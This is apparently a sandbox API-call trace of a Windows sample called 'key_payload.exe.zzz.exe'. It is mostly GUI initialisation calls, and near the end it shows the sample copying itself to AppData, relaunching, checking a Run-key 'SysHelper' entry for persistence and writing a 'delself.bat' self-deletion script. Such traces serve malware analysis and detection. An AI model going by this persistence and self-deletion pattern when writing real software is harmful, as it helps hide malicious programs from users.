GetSysColor (nIndex=6) returned 0x646464 [0091.704] GetSysColor (nIndex=13) returned 0xff9933 [0091.704] GetSysColor (nIndex=14) returned 0xffffff [0091.704] GetSysColor (nIndex=5) returned 0xffffff [0091.704] GetSysColor (nIndex=8) returned 0x0 [0091.704] GetSysColor (nIndex=9) returned 0x0 [0091.704] GetSysColor (nIndex=7) returned 0x0 [0091.704] GetSysColor (nIndex=2) returned 0xd1b499 [0091.704] GetSysColor (nIndex=3) returned 0xdbcdbf [0091.704] GetSysColor (nIndex=27) returned 0xead1b9 [0091.704] GetSysColor (nIndex=28) returned 0xf2e4d7 [0091.704] GetSysColor (nIndex=10) returned 0xb4b4b4 [0091.704] GetSysColor (nIndex=11) returned 0xfcf7f4 [0091.704] GetSysColor (nIndex=19) returned 0x0 [0091.704] GetSysColor (nIndex=26) returned 0xcc6600 [0091.704] GetSysColorBrush (nIndex=16) returned 0x1100075 [0091.704] GetSysColorBrush (nIndex=20) returned 0x1100076 [0091.704] GetSysColorBrush (nIndex=5) returned 0x110007b [0091.704] CreateSolidBrush (color=0xf0f0f0) returned 0x9100737 [0091.704] CreateSolidBrush (color=0xf0f0f0) returned 0x1510072d [0091.705] CreateSolidBrush (color=0xd1b499) returned 0x1110072c [0091.705] CreateSolidBrush (color=0xdbcdbf) returned 0x411006a7 [0091.705] CreateSolidBrush (color=0xff9933) returned 0xffffffff8910068c [0091.705] CreateSolidBrush (color=0x696969) returned 0xffffffffe8100546 [0091.705] CreateSolidBrush (color=0xffffff) returned 0x461006c0 [0091.705] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x543006b7 [0091.705] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x830063a [0091.705] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0xb300637 [0091.705] CreateSolidBrush (color=0xf7f7f7) returned 0x3710068b [0091.706] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x8efb24, fWinIni=0x0 | out: pvParam=0x8efb24) returned 1 [0091.711] GetTextCharsetInfo (in: hdc=0x10105e0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0091.711] lstrcpyW (in: lpString1=0x8efd38, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0091.711] EnumFontFamiliesW (hdc=0x10105e0, lpLogfont=0x0, lpProc=0x1437ea8, lParam=0x15e2eec) returned 0 [0091.720] lstrcpyW (in: lpString1=0x8efd38, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0091.720] CreateFontIndirectW (lplf=0x8efd1c) returned 0x460a069e [0091.721] CreateFontIndirectW (lplf=0x8efd1c) returned 0x110a071b [0091.721] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x8ef92c, fWinIni=0x0 | out: pvParam=0x8ef92c) returned 1 [0091.721] CreateFontIndirectW (lplf=0x8efd1c) returned 0xa0a071e [0091.721] CreateFontIndirectW (lplf=0x8efd1c) returned 0xa0a0735 [0091.721] CreateFontIndirectW (lplf=0x8efd1c) returned 0x60a0729 [0091.721] GetSystemMetrics (nIndex=72) returned 15 [0091.721] lstrcpyW (in: lpString1=0x8efd38, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0091.721] CreateFontIndirectW (lplf=0x8efd1c) returned 0x250a0722 [0091.721] GetStockObject (i=17) returned 0x18a0025 [0091.722] GetObjectW (in: h=0x18a0025, c=92, pv=0x8efd1c | out: pv=0x8efd1c) returned 92 [0091.722] lstrcpyW (in: lpString1=0x8efd38, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0091.722] CreateFontIndirectW (lplf=0x8efd1c) returned 0x50a0742 [0091.722] CreateFontIndirectW (lplf=0x8efd1c) returned 0x40a0740 [0091.722] GetStockObject (i=17) returned 0x18a0025 [0091.722] GetObjectW (in: h=0x18a0025, c=92, pv=0x8efd1c | out: pv=0x8efd1c) returned 92 [0091.722] CreateFontIndirectW (lplf=0x8efd1c) returned 0x40a073f [0091.722] CreateFontIndirectW (lplf=0x8efd1c) returned 0x160a073a [0091.723] SelectObject (hdc=0xa0100d0, h=0x460a069e) returned 0x18a0048 [0091.723] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x8ef8a0 | out: lptm=0x8ef8a0) returned 1 [0091.747] SelectObject (hdc=0xa0100d0, h=0x50a0742) returned 0x460a069e [0091.748] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0x8ef8a0 | out: lptm=0x8ef8a0) returned 1 [0091.792] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x50a0742 [0091.792] DeleteObject (ho=0x18a0025) returned 1 [0091.793] GetSystemMetrics (nIndex=49) returned 16 [0091.793] GetSystemMetrics (nIndex=50) returned 16 [0091.793] SetRectEmpty (in: lprc=0x1664594 | out: lprc=0x1664594) returned 1 [0091.793] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1438030, dwData=0x1664594) returned 1 [0091.793] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x8efcb8 | out: lpmi=0x8efcb8) returned 1 [0091.793] CopyRect (in: lprcDst=0x8efce0, lprcSrc=0x8efccc | out: lprcDst=0x8efce0) returned 1 [0091.793] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x16645b8, fWinIni=0x0 | out: pvParam=0x16645b8) returned 1 [0091.793] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x16645bc, fWinIni=0x0 | out: pvParam=0x16645bc) returned 1 [0091.793] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x16645cc, fWinIni=0x0 | out: pvParam=0x16645cc) returned 1 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0091.794] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0091.795] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0091.796] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0091.801] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0091.802] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0091.803] GetSystemMetrics (nIndex=69) returned 4 [0091.803] GetSystemMetrics (nIndex=68) returned 4 [0091.803] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0091.805] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0091.805] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0091.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0091.811] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0091.811] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0091.811] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0091.811] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0091.812] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0091.812] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0091.812] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0091.812] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0091.812] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0091.812] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0091.812] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0091.812] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0091.812] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0091.812] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0091.812] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0091.812] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0091.812] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0091.812] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0091.813] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0091.813] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0091.814] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0091.815] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0091.816] GetCurrentThreadId () returned 0xf30 [0091.817] GetVersionExW (in: lpVersionInformation=0x8efc10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xab3050, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0xab3050, szCSDVersion="") | out: lpVersionInformation=0x8efc10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0091.817] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0091.817] GetProcAddress (hModule=0x75130000, lpProcName=0x1617bf0) returned 0x75172720 [0091.817] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0091.818] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0091.818] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0091.818] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0091.818] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0091.818] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0091.818] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0091.818] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0091.818] GetCurrentProcess () returned 0xffffffff [0091.818] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x166a0a0, lpSystemAffinityMask=0x166a0a4 | out: lpProcessAffinityMask=0x166a0a0, lpSystemAffinityMask=0x166a0a4) returned 1 [0091.818] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0091.819] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0091.819] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x166a0c4 | out: Buffer=0x0, ReturnedLength=0x166a0c4) returned 0 [0091.819] GetLastError () returned 0x7a [0091.819] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xae46d0, ReturnedLength=0x166a0c4 | out: Buffer=0xae46d0, ReturnedLength=0x166a0c4) returned 1 [0091.819] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0091.819] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0091.819] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0091.820] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0091.820] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0091.820] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0091.820] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0091.820] EtwRegisterTraceGuidsW () returned 0x0 [0091.822] RtlInitializeSListHead (in: ListHead=0xae4738 | out: ListHead=0xae4738) [0091.822] RtlInitializeSListHead (in: ListHead=0xae4740 | out: ListHead=0xae4740) [0091.822] RtlInitializeSListHead (in: ListHead=0xae47a0 | out: ListHead=0xae47a0) [0091.822] RtlInitializeSListHead (in: ListHead=0xae47a8 | out: ListHead=0xae47a8) [0091.822] RtlInitializeSListHead (in: ListHead=0xae48c0 | out: ListHead=0xae48c0) [0091.822] RtlInitializeSListHead (in: ListHead=0xae48c8 | out: ListHead=0xae48c8) [0091.822] RtlInitializeSListHead (in: ListHead=0xae48d0 | out: ListHead=0xae48d0) [0091.822] RtlInitializeSListHead (in: ListHead=0xae48d8 | out: ListHead=0xae48d8) [0091.822] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x208 [0091.822] RegisterWaitForSingleObject (in: phNewWaitObject=0xae48b4, hObject=0x208, Callback=0x15b6468, Context=0xae46d8, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0xae48b4*=0xaba1f8) returned 1 [0091.823] CreateThreadpoolTimer (in: pfnti=0x15b644a, pv=0xae46d8, pcbe=0x0 | out: pv=0xae46d8) returned 0xab3050 [0091.823] GetModuleHandleA (lpModuleName=0x0) returned 0x13e0000 [0091.823] TpSetTimer (in: pti=0xab3050, pftDueTime=0x8efd2c, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0xab3050) [0091.823] GetCurrentProcess () returned 0xffffffff [0091.823] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x166a0a0, lpSystemAffinityMask=0x166a0a4 | out: lpProcessAffinityMask=0x166a0a0, lpSystemAffinityMask=0x166a0a4) returned 1 [0091.823] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0091.823] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0091.823] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x166a0c4 | out: Buffer=0x0, ReturnedLength=0x166a0c4) returned 0 [0091.823] GetLastError () returned 0x7a [0091.823] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xaee128, ReturnedLength=0x166a0c4 | out: Buffer=0xaee128, ReturnedLength=0x166a0c4) returned 1 [0091.824] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x210 [0091.824] GetNumaHighestNodeNumber (in: HighestNodeNumber=0x8efd74 | out: HighestNodeNumber=0x8efd74) returned 1 [0091.824] RtlInterlockedPopEntrySList (in: ListHead=0xae4738 | out: ListHead=0xae4738) returned 0x0 [0091.824] RtlInitializeSListHead (in: ListHead=0xab39e8 | out: ListHead=0xab39e8) [0091.824] RtlInitializeSListHead (in: ListHead=0xab39f0 | out: ListHead=0xab39f0) [0091.824] RtlInitializeSListHead (in: ListHead=0xab3a38 | out: ListHead=0xab3a38) [0091.824] RtlInitializeSListHead (in: ListHead=0xab3a40 | out: ListHead=0xab3a40) [0091.824] RtlInterlockedPopEntrySList (in: ListHead=0xab3a38 | out: ListHead=0xab3a38) returned 0x0 [0091.824] RtlInitializeSListHead (in: ListHead=0xab7658 | out: ListHead=0xab7658) [0091.824] RtlInitializeSListHead (in: ListHead=0xab7660 | out: ListHead=0xab7660) [0091.825] RtlInitializeSListHead (in: ListHead=0xab76a8 | out: ListHead=0xab76a8) [0091.825] RtlInitializeSListHead (in: ListHead=0xab76b0 | out: ListHead=0xab76b0) [0091.825] RtlInitializeSListHead (in: ListHead=0xab3810 | out: ListHead=0xab3810) [0091.825] RtlInitializeSListHead (in: ListHead=0xab3818 | out: ListHead=0xab3818) [0091.826] RtlInterlockedPopEntrySList (in: ListHead=0xab3810 | out: ListHead=0xab3810) returned 0x0 [0091.826] GetTickCount64 () returned 0x1deb2 [0091.826] RtlInterlockedPopEntrySList (in: ListHead=0xab3810 | out: ListHead=0xab3810) returned 0x0 [0091.826] GetTickCount64 () returned 0x1deb2 [0091.827] RtlInterlockedPopEntrySList (in: ListHead=0xab3810 | out: ListHead=0xab3810) returned 0x0 [0091.827] GetTickCount64 () returned 0x1deb2 [0091.827] RtlInterlockedPopEntrySList (in: ListHead=0xab3810 | out: ListHead=0xab3810) returned 0x0 [0091.827] GetTickCount64 () returned 0x1deb2 [0091.827] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x214 [0091.827] RtlInterlockedPopEntrySList (in: ListHead=0xae48c8 | out: ListHead=0xae48c8) returned 0x0 [0091.827] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x218 [0091.827] GetCurrentThreadId () returned 0xf30 [0091.827] GetCurrentProcess () returned 0xffffffff [0091.827] GetCurrentThread () returned 0xfffffffe [0091.827] GetCurrentProcess () returned 0xffffffff [0091.827] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xaf86e4, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xaf86e4*=0x21c) returned 1 [0091.827] CreateThreadpoolWait (in: pfnwa=0x15c1211, pv=0xaf8640, pcbe=0x0 | out: pv=0xaf8640) returned 0xaf8f00 [0091.827] GetModuleHandleA (lpModuleName=0x0) returned 0x13e0000 [0091.827] TpSetWait (in: pwa=0xaf8f00, h=0x21c, pftTimeout=0x0 | out: pwa=0xaf8f00) [0091.828] GetCurrentThreadId () returned 0xf30 [0091.828] GetCurrentThreadId () returned 0xf30 [0091.828] GetCurrentThreadId () returned 0xf30 [0091.829] GetCurrentThreadId () returned 0xf30 [0091.829] GetCurrentThreadId () returned 0xf30 [0091.831] GetCursorPos (in: lpPoint=0xab197c | out: lpPoint=0xab197c*(x=814, y=481)) returned 1 [0091.831] GetCurrentThread () returned 0xfffffffe [0091.831] GetCurrentThreadId () returned 0xf30 [0091.831] GetVersionExW (in: lpVersionInformation=0x8efda0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x8efdc0, dwBuildNumber=0x154f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0x8efda0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0091.832] GetLastError () returned 0x0 [0091.832] SetLastError (dwErrCode=0x0) [0091.832] GetLastError () returned 0x0 [0091.832] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.833] GetLastError () returned 0x0 [0091.833] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.834] GetLastError () returned 0x0 [0091.834] SetLastError (dwErrCode=0x0) [0091.839] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x8efd50 | out: lpWSAData=0x8efd50) returned 0 [0091.844] SetErrorMode (uMode=0x0) returned 0x0 [0091.844] SetErrorMode (uMode=0x8001) returned 0x0 [0091.844] GetModuleFileNameW (in: hModule=0x13e0000, lpFilename=0x8efcc4, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe")) returned 0x35 [0091.844] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe") returned=".exe" [0091.844] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0091.845] FindResourceW (hModule=0x13e0000, lpName=0xe01, lpType=0x6) returned 0x0 [0091.845] FindResourceW (hModule=0x13e0000, lpName=0xe01, lpType=0x6) returned 0x0 [0091.845] GetCurrentThreadId () returned 0xf30 [0091.845] SetWindowsHookExW (idHook=-1, lpfn=0x1434207, hmod=0x0, dwThreadId=0xf30) returned 0x2d0113 [0091.845] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0x8efee0 | out: phkResult=0x8efee0*=0x0) returned 0x2 [0091.845] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0x8efee0 | out: phkResult=0x8efee0*=0x0) returned 0x2 [0091.845] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0x8efee0 | out: phkResult=0x8efee0*=0x0) returned 0x2 [0091.846] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0xafd970 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0091.846] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\" " [0091.846] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\" ", pNumArgs=0x8ef6b4 | out: pNumArgs=0x8ef6b4) returned 0xaa8eb8*="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" [0091.846] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0091.846] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xafe218 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0091.851] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0091.851] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0 [0091.852] CopyFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe"), bFailIfExists=0) returned 1 [0092.450] GetLastError () returned 0x0 [0092.450] SetLastError (dwErrCode=0x0) [0092.450] GetLastError () returned 0x0 [0092.450] SetLastError (dwErrCode=0x0) [0092.450] GetLastError () returned 0x0 [0092.450] SetLastError (dwErrCode=0x0) [0092.450] ShellExecuteExW (in: pExecInfo=0x8ef664*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", lpParameters="", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x8ef664*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", lpParameters="", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0093.122] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x8ee53c | out: phkResult=0x8ee53c*=0x270) returned 0x0 [0093.130] RegQueryValueExA (in: hKey=0x270, lpValueName="SysHelper", lpReserved=0x0, lpType=0x8ee540, lpData=0x8ee548, lpcbData=0x8ee544*=0x400 | out: lpType=0x8ee540*=0x0, lpData=0x8ee548*=0x0, lpcbData=0x8ee544*=0x400) returned 0x2 [0093.131] RegCloseKey (hKey=0x270) returned 0x0 [0093.132] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x8eeed8, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe")) returned 0x35 [0093.132] GetEnvironmentVariableA (in: lpName="TEMP", lpBuffer=0x8ee9c4, nSize=0x104 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp") returned 0x24 [0093.133] PathFileExistsA (pszPath="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat") returned 0 [0093.138] CreateFileA (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\delself.bat" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\delself.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0093.147] WriteFile (in: hFile=0x270, lpBuffer=0x8eeac8*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x8ee9c0, lpOverlapped=0x0 | out: lpBuffer=0x8eeac8*, lpNumberOfBytesWritten=0x8ee9c0*=0xcf, lpOverlapped=0x0) returned 1 [0093.152] FlushFileBuffers (hFile=0x270) returned 1 [0093.155] CloseHandle (hObject=0x270) returned 1 [0093.159] SetLastError (dwErrCode=0x0) [0093.163] CreateProcessA (in: lpApplicationName=0x0, 